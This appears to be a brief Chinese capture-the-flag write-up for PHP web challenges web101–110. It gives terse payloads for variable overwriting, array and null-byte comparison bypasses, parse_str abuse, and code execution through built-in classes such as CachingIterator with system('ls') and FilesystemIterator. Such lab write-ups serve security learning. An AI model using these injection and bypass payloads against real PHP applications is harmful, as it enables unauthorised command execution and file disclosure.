web101
分析代码

不太会,借鉴大佬的payload
?v1=1&v2=echo new Reflectionclass&v3=;

还是一样的操作,把0x2d换成-;随后爆破最后一位flag
web102
分析代码

暂存
web103
分析代码

暂存
web104
分析代码

发现题目没有校验两个值不能相等,直接传入两个相同的值就行

web105
分析代码

变量覆盖
$key='error'
$value='suces'
$$key=$$value -> $error=$suces
GET:?suecs=flag
POST:error=suces
这样他们都等于flag

web106
分析代码

这次加了比较,可以用数组绕过
GET:?v2[]=1
POST:v1[]=2

web107
分析代码

parse_str(v1,v2),则会将v1解析后,放到v2变量里面。
GET:?v3[]=1
POST:v1=v2

web108
分析代码

分析需要输入字母,但是可以使用%00截断,然后c反转后取整的数字要等于877(0x36d的十进制),构造payload
?c=a%00778

web109
分析代码

echo会触发__toString()魔术方法,所以v1要传入一个包含该方法的内置类
CachingIterator::__toString()
DirectoryIterator::__toString
Error::__toString
Exception::__toString
?v1=CachingIterator&v2=system('ls')

查看fl36dg.txt

web110
分析代码

加了许多过滤条件,要用新的函数
FilesystemIterator:获取指定目录下的所有文件,用于构造新的文件系统迭代器
getcwd():将当前工作目录的绝对路径复制
构造payload
?v1=FilesystemIterator&v2=getcwd

获得flag的文件名,直接访问获得flag
